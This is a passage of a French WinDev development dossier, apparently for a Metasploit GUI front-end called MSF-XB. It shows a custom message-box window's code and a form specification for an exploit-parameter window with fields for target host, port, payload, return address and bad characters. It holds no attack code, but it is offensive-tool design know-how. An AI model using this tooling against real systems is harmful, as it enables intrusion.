// constantes pour MessageBeepCONSTANT MB_OK = 0x00000000CONSTANT MB_ICONHAND = 0x00000010CONSTANT MB_ICONQUESTION = 0x00000020CONSTANT MB_ICONEXCLAMATION = 0x00000030CONSTANT MB_ICONASTERISK = 0x00000040

// constantes renvoyées par MessageBox

Page 249: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 251

CONSTANT IDOK = 1CONSTANT IDCANCEL = 2CONSTANT IDABORT = 3CONSTANT IDRETRY = 4CONSTANT IDIGNORE = 5CONSTANT IDYES = 6CONSTANT IDNO = 7

// on met en place le messageLIB_INFO = szLibelle// on met en place le titreMoiMême..Titre = szTitre

// on met en place les boutonsSELON nType

CAS 0 : // Info// on rend visible le bouton [OK] et l'icone "I"BTN_OK..Visible = VraiICON_INFORMATION..Visible = Vrai// la largeur est celle d'un boutonnLargeurBtn = BTN_OK..Largeur // Valeur renvoyée si on ferme par la croix : OKMoiMême..ValeurRenvoyée = IDOK

CAS 1 : // Erreur// on rend visible le bouton [OK]et l'icone "x"BTN_OK..Visible = VraiICON_ERREUR..Visible = Vrai// la largeur est celle d'un boutonnLargeurBtn = BTN_OK..Largeur // Valeur renvoyée si on ferme par la croix : OKMoiMême..ValeurRenvoyée = IDOK

CAS 2 : // OuiNon// on rend visible les boutons [OUI] et [NON] et l'icone "?"BTN_OUI..Visible = VraiBTN_NON..Visible = VraiICON_QUESTION..Visible = Vrai// la largeur est celle de 2 boutons + la marge nLargeurBtn = BTN_OUI..Largeur *2 + MARGEINTERBTN// si on veut sélectionner [NON] comme bouton par défautSI nNumBouton=2 ALORS EcranPremier(BTN_NON)// Valeur renvoyée si on ferme par la croix : NONMoiMême..ValeurRenvoyée = IDNO

CAS 3 : // Confirmer// on rend visible les boutons [OUI], [NON] et [ANNULER] et l'icone "?"

Page 250: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 252

BTN_OUI..Visible = VraiBTN_NON..Visible = VraiBTN_ANNULER..Visible = VraiICON_QUESTION..Visible = Vrai// la largeur est celle de 3 boutons + la marge nLargeurBtn = BTN_OUI..Largeur *3 + MARGEINTERBTN*2// si on veut sélectionner [NON] comme bouton par défautSI nNumBouton=2 ALORS EcranPremier(BTN_NON)// si on veut sélectionner [Annuler] comme bouton par défautSI nNumBouton=3 ALORS EcranPremier(BTN_ANNULER)// Valeur renvoyée si on ferme par la croix : ANNULERMoiMême..ValeurRenvoyée = IDCANCEL

CAS 4 : // Avertissment// on rend visible le bouton [OK] et l'icone "!"BTN_OK..Visible = VraiICON_INFORMATION..Visible = Vrai// la largeur est celle d'un boutonnLargeurBtn = BTN_OK..Largeur // Valeur renvoyée si on ferme par la croix : OKMoiMême..ValeurRenvoyée = IDOK

CAS 5 : // OuiNon// on rend visible les boutons [OUI] et [NON] et l'icone "I"BTN_OUI..Visible = VraiBTN_NON..Visible = VraiICON_QUESTION..Visible = Vrai// Met le libellé "OK" sur [OUI] et "Annuler" sur [NON]BTN_OUI..Libellé = BTN_OK..LibelléBTN_NON..Libellé = BTN_ANNULER..Libellé// la largeur est celle de 2 boutons + la marge nLargeurBtn = BTN_OUI..Largeur *2 + MARGEINTERBTN// si on veut sélectionner [Annuler] comme bouton par défautSI nNumBouton=2 ALORS EcranPremier(BTN_NON)// Valeur renvoyée si on ferme par la croix : NONMoiMême..ValeurRenvoyée = IDNO

FIN

// calcule la largeur et la hauteur de la boite de dialogueRedimensionneDialogue()

// centre les boutons CentreLesBoutons()

// on émet un avertissement sonore (comme le systeme)AvertissementSonore()

Page 251: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 253

WinDevMessageBox Code des champs

Clic sur BTN_ANNULER// ferme la boite de dialoque et renvoie "IDCANCEL"Ferme("", IDCANCEL )

Clic sur BTN_Copier_caché// on met dasn le presse-papier le titre et le libellé de la message-boxsSEP est chaîne = "---------------------------" VersPressePapier( sSEP + RC + MaFenêtre..Titre + RC + sSEP + RC + LIB_INFO )

Clic sur BTN_NON// ferme la boite de dialoque et renvoie "IDNO"Ferme("", IDNO)

Clic sur BTN_OK// ferme le dialoque et renvoie IDOK (valeur inutilisée)Ferme("", IDOK)

Clic sur BTN_OUI// si on est OK (OKAnnuler)SI nType=5 ALORS

// ferme la boite de dialoque et renvoie "IDOK"Ferme("", IDOK)

FIN

Page 252: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 254

// ferme la boite de dialoque et renvoie "IDYES"Ferme("", IDYES)

Clic sur BTN_SYST_FERMER ( SCSystemButtons )

Clic sur BTN_Syst_Maximize ( SCSystemButtons )

Clic sur BTN_SYST_MINIMIZE ( SCSystemButtons )

Clic sur BTN_UMC ( SCSystemButtons )

Page 253: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 255

WinDevMessageBox Procédures

Procédure locale AvertissementSonorePROCEDURE AvertissementSonore()// Emet un avertissement sonore comme le système

SELON nTypeCAS 0 : // Info

AppelDLL32("USER32","MessageBeep", MB_ICONASTERISK )CAS 1 : // Erreur

AppelDLL32("USER32","MessageBeep", MB_ICONHAND )CAS 2 : // OuiNon

AppelDLL32("USER32","MessageBeep", MB_ICONQUESTION )CAS 3 : // Confirmer

AppelDLL32("USER32","MessageBeep", MB_ICONQUESTION )CAS 4 : // Avertissement

AppelDLL32("USER32","MessageBeep", MB_ICONASTERISK )CAS 5 : // OKAnnuler

AppelDLL32("USER32","MessageBeep", MB_ICONQUESTION )FIN

Procédure locale CentreLesBoutonsPROCEDURE CentreLesBoutons()// centrage des boutons du dialogue

// position de départxStart est entier = (FenIntLarg() - nLargeurBtn) / 2

// Pour Info/Erreur/AvertissmentBTN_OK..X = xStart

// Pour OuiNon / OKAnnulerBTN_OUI..X = XStartBTN_NON..X = XStart + BTN_OUI..Largeur + MARGEINTERBTN

Page 254: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 256

// Pour ConfirmerBTN_ANNULER..X = BTN_NON..X + BTN_NON..Largeur + MARGEINTERBTN

// centrer les boutons en hauteur// (ils sont tous superposés, mais un seul est visible)ICON_INFORMATION..Y = LIB_INFO..Y + (LIB_INFO..Hauteur - ICON_INFORMATION..Hauteur) / 2ICON_QUESTION..Y = ICON_INFORMATION..Y ICON_ERREUR..Y = ICON_INFORMATION..Y

Procédure locale RedimensionneDialoguePROCEDURE RedimensionneDialogue()// MAJ de la taille de la fenetre en fonction du libellé fourni

// largeur min : // celle des boutons + une marge sur les cotésnLargeurMin est entier = nLargeurBtn + MARGEBORDS// largeur max du libellénLargeurMaxLibelle est entier = 600

// dimensions nécessaires au dessin du libellé//@@+10 : Marge supplémentairenLargeurTexte est entier = TexteLargeur(LIB_INFO, szLibelle) + 10// on interdit également un libellé trop largeSI nLargeurTexte > nLargeurMaxLibelle ALORS

nLargeurTexte = nLargeurMaxLibelleFIN// on force la largeur du libellé pour que le calcul de la hauteur soit correctLIB_INFO..Largeur = nLargeurTextenHauteurTexte est entier = TexteHauteur(LIB_INFO, szLibelle, tMultiligne)// pas moins de hauteur que celle de l'icone à gaucheSI nHauteurTexte< ICON_INFORMATION..Hauteur ALORS nHauteurTexte = ICON_INFORMATION..Hauteur// on force le centrage en hauteur du libelléLIB_INFO..CadrageVertical = cvMilieu

// Largeur de la fenêtrenLargeurFen est entier = nLargeurTexte + MaFenêtre..Largeur - LIB_INFO..LargeurInitiale// on ne descend pas en dessous de la largeur MIN.SI nLargeurFen < nLargeurMin ALORS

nLargeurFen = nLargeurMinFIN

Page 255: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 257

// Hauteur de la fenêtrenHauteurFen est entier = MaFenêtre..Hauteur + nHauteurTexte - LIB_INFO..HauteurInitiale

// on recentre la fenêtre en largeur et en hauteurMaFenêtre..X -= ( nLargeurFen - MaFenêtre..Largeur )/2MaFenêtre..Y -= ( nHauteurFen - MaFenêtre..Hauteur )/2

// MAJ de la taille de la fenêtreFenTaille("", nLargeurFen, nHauteurFen)

// MAJ de la taille du libelléLIB_INFO..Largeur = nLargeurTexteLIB_INFO..Hauteur = nHauteurTexteLIB_INFO = szLibelle

Page 256: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 258

EXPLOIT_PARAMETERS Image

Page 257: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 259

Page 258: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 260

EXPLOIT_PARAMETERS Informations générales

EXPLOIT_PARAMETERS

Fichier physique G:\Mes Projets\MSF-XB11\EXPLOIT_PARAMETERS.wdw

Crée par JEROME

Date de création 02/08/2006 20:47:15

Dernière modification par JA-PSI

Date dernière modification 26/10/2008 20:25:49

Titre FR,GB: theXploiter - Jerome Athias

Type fenêtre Fenêtre libre

Mode ouverture Centrée par rapport à la mère

Note pour le dossier

FR,GB: FR,GB:

Position X 0 Position Y 0 Largeur 648

Hauteur 506

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droitCurseur survol 0

Page 259: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 261

Menu contextuel

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant OuiGroupe MDIPos. X Menu 8Pos. Y Menu 26M.C.U. OuiAnim. Ouverture 0Anim. Fermeture 0Durée Anim. Ouverture 100Durée Anim. Fermeture 50Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Bg_Base.gifIcone G:\Mes Projets\MSF-XB11\Yin Yang.icoImage poignée G:\Mes Projets\MSF-XB11\MediaPlayer_Resize.gif

Page 260: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 262

Statistiques de la fenêtreChamp de saisie 9 Libellé 2

Bouton 7 Interrupteur 1

Sélecteur 1 Image 1

Table 1 Combo 7

Superchamp 1 Option de menu 1

Colonne de table 2 Case barre de message 1

Nombre d'éléments dans la fenêtre : 34

EXPLOIT_PARAMETERS Informations sur les champs

Fenêtre : EXPLOIT_PARAMETERSChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

ADRESSE_RETOUR 435 122 187 22 0 Actif Texte

DLL 297 84 275 22 0 Actif Texte

LIB_EXPLOIT 14 56 275 22 0 Actif Texte

MON_OPCODE 297 56 275 22 0 Actif Texte

PAYLOAD_BADCHARS 14 199 362 22 0 Actif Texte

RHOST 14 31 275 22 0 Actif Texte

RPORT 297 31 135 22 0 Actif Numériqu

SAI_MSFWEB_IP 14 448 200 22 0 Actif Texte

SAI_MSFWEB_PORT 220 448 73 22 0 Actif Numériqu

Page 261: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 263

LibelléPosition Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

LIB_Libellé1 14 114 620 79 0 Actif Gauche Haut

RADTitle 9 4 499 18 0 Actif Gauche Centre

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_Button1 0 -54 80 24 0 Actif Aide

BTN_SEARCH_RETURN_ADDRE 606 164 21 29 0 Actif Normal

EXPLOITER 554 448 80 24 0 Actif Normal

InterrupteurPosition Position Largeur Hauteur Plan Visib Etat initial Touc Nb. colonnes Col. Trois

INT_AVOID_BADCHARS 446 199 186 23 0 Actif 1

SélecteurPosition Position Largeur Hauteur Plan Visib Etat initial Touc Nb. colonnes Col. Trois

SEL_Sélecteur1 299 448 237 24 0 Actif 3

ImagePosition Position Largeur Hauteur Plan Visib Etat initial Avec Priori Anim Avec

BTN_Syst_Restore 722 -19 14 14 0 Actif

Page 262: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 264

TablePosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Utili Bloc Enre Multi Affic Asc. Bull Saisi Gest Mém Colonne Com

TABLE_Table1 14 240 620 199 0 Actif Mémoire 1

ComboPosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Liste Avec Saisi Saisi NUL Bulle Défil

COMBO_ADRESSE_RETOUR_RE 435 164 171 28 0 Actif Mémoire

COMBO_LANGUE 269 164 107 28 0 Actif Mémoire

COMBO_OSSP 376 164 59 28 0 Actif Mémoire

COMBO_OSnom 14 164 85 28 0 Actif Mémoire

COMBO_OSversion 99 164 170 28 0 Actif Mémoire

COMBO_PAYLOAD 14 84 281 28 0 Actif Mémoire

COMBO_TARGET 80 122 291 28 0 Actif Mémoire

SuperchampPosition Position Largeur Hauteur Plan Visib Etat initial Touc

SCSystemButtons 514 1 128 18 0 Actif

Table : TABLE_Table1Colonne de table

Type Largeur Visib Etat initial Fixée Dépl Larg Colo Avec Cadrage horz. Cadrage vert. Type saisie Multi Form Liste Avec Saisi

NOM_PARAMETRE 280 Actif Gauche Centre Texte

VALEUR_PARAMETRE 316 Actif Gauche Centre Texte

Page 263: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 265

Superchamp : SCSystemButtonsBouton

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SYST_FERMER 598 0 44 19 0 Actif Normal

BTN_SYST_MINIMIZE 548 0 26 19 0 Actif Normal

BTN_Syst_Maximize 574 0 25 19 0 Actif Normal

BTN_UMC 514 0 24 19 0 Actif Normal

Fenêtre : EXPLOIT_PARAMETERSChamp de saisie : ADRESSE_RETOUR

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Adr. retourGB: Ret. address

Ordre navigation 20Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 24Retrait gauche 2Position X interne 504Largeur interne 118

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe Non

Page 264: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 266

Unicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_Button1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: HelpGB:

Ordre navigation 21Curseur survol 0On/Off Non

Altitude 25

Numéro aide 6

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteur

Page 265: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 267

Nb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_SEARCH_RETURN_ADDRESS

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 18Curseur survol 0On/Off Non

Altitude 22

Bulle d'aide FR: Chercher une adresse de retour correspondant aux critèresGB: Search a return address for the specified OS

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST04025c-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_MiniLeft.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>

Page 266: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 268

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Image : BTN_Syst_Restore

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Restore.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 267: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 269

Combo : COMBO_ADRESSE_RETOUR_RECHERCHE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Adr. retourGB: Ret. address

Ordre navigation 10Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 114Larg. déroulée perso. NonHauteur ligne 15Altitude 16Retrait gauche 2Position X interne 492Largeur interne 114

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive Oui

Page 268: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 270

Valeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : COMBO_LANGUE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Langue:GB: Locale:

Contenu initial FR: MULTI

FR US DE CH IT NL PL SP

GB: MULTI

US FR DE CH IT NL PL SP

Ordre navigation 8Curseur survol 0Synchro Infos Partagées Non

Page 269: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 271

Util. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 62Larg. déroulée perso. NonHauteur ligne 15Altitude 11Retrait gauche 2Position X interne 314Largeur interne 62

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 270: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 272

Combo : COMBO_OSSP

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: SPContenu initial FR,GB:

0 1 2 3 4 5 6

Ordre navigation 16Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 152Largeur liste 37Larg. déroulée perso. NonHauteur ligne 15Altitude 20Retrait gauche 2Position X interne 398Largeur interne 37

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique Non

Page 271: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 273

Avec focus OuiRedimensionnable NonMémorise la taille NonHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : COMBO_OSnom

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: OS:Contenu initial FR,GB:

2000 XP 2003 NT Vista

Ordre navigation 7Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 61Larg. déroulée perso. Non

Page 272: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 274

Hauteur ligne 15Altitude 12Retrait gauche 2Position X interne 38Largeur interne 61

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 273: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 275

Combo : COMBO_OSversion

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: TypeContenu initial FR,GB:

Professional Server Advanced Server Home Enterprise Edition Standard Edition Web Edition

Ordre navigation 17Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 152Largeur liste 136Larg. déroulée perso. NonHauteur ligne 15Altitude 21Retrait gauche 2Position X interne 133Largeur interne 136

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique Non

Page 274: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 276

Avec focus OuiRedimensionnable NonMémorise la taille NonHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : COMBO_PAYLOAD

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Payload:Ordre navigation 5Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 215Larg. déroulée perso. NonHauteur ligne 15Altitude 5Retrait gauche 2Position X interne 80Largeur interne 215

Page 275: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 277

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Oui

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : COMBO_TARGET

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: CiblesGB: Targets

Ordre navigation 19Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. Gauche

Page 276: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 278

Orientation verticale NonHauteur liste 0Largeur liste 291Larg. déroulée perso. NonHauteur ligne 15Altitude 23Retrait gauche 2Position X interne 80Largeur interne 291

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 277: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 279

Champ de saisie : DLL

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: DLL:Ordre navigation 6Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 9Retrait gauche 2Position X interne 363Largeur interne 209

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>

Page 278: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 280

